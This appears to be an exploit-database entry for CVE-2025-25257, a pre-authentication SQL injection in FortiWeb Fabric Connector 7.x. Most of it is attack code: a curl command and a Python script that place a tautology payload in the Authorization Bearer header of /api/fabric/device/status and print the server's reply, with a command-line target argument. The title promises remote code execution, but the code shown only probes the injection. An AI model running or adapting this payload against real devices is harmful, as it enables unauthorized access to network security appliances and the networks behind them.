FortiWeb Fabric Connector 7.6.x – SQL Injection to Remote Code Execution
# Exploit Title: FortiWeb Fabric Connector 7.6.x - Pre-authentication SQL Injection to Remote Code Execution # Date: 2025-10-05 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Tested on: Win, Ubuntu # CVE : CVE-2025-25257 Overview CVE-2025-25257 is a pre-authentication SQL Injection vulnerability in Fortinet FortiWeb Fabric Connector versions 7.0 through 7.6.x. This flaw allows attackers to inject malicious SQL commands into the vulnerable API endpoint, potentially leading to Remote Code Execution (RCE). PoC curl -k -H "Authorization: Bearer aaa' OR '1'='1" \ https://<fortiweb-ip>/api/fabric/device/status PoC Python import requests def test_sqli(base_url): url = f"{base_url}/api/fabric/device/status" headers = { "Authorization": "Bearer aaa' OR '1'='1" } try: response = requests.get(url, headers=headers, verify=False, timeout=10) print(f"Status code: {response.status_code}") print("Response body:") print(response.text) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="PoC SQLi By Ex3ptionaL CVE-2025-25257 FortiWeb") parser.add_argument("base_url", help="Base URL of FortiWeb (ex: https://10.0.0.5)") args = parser.parse_args() test_sqli(args.base_url) # python3 src/poc.py https://10.0.0.5 |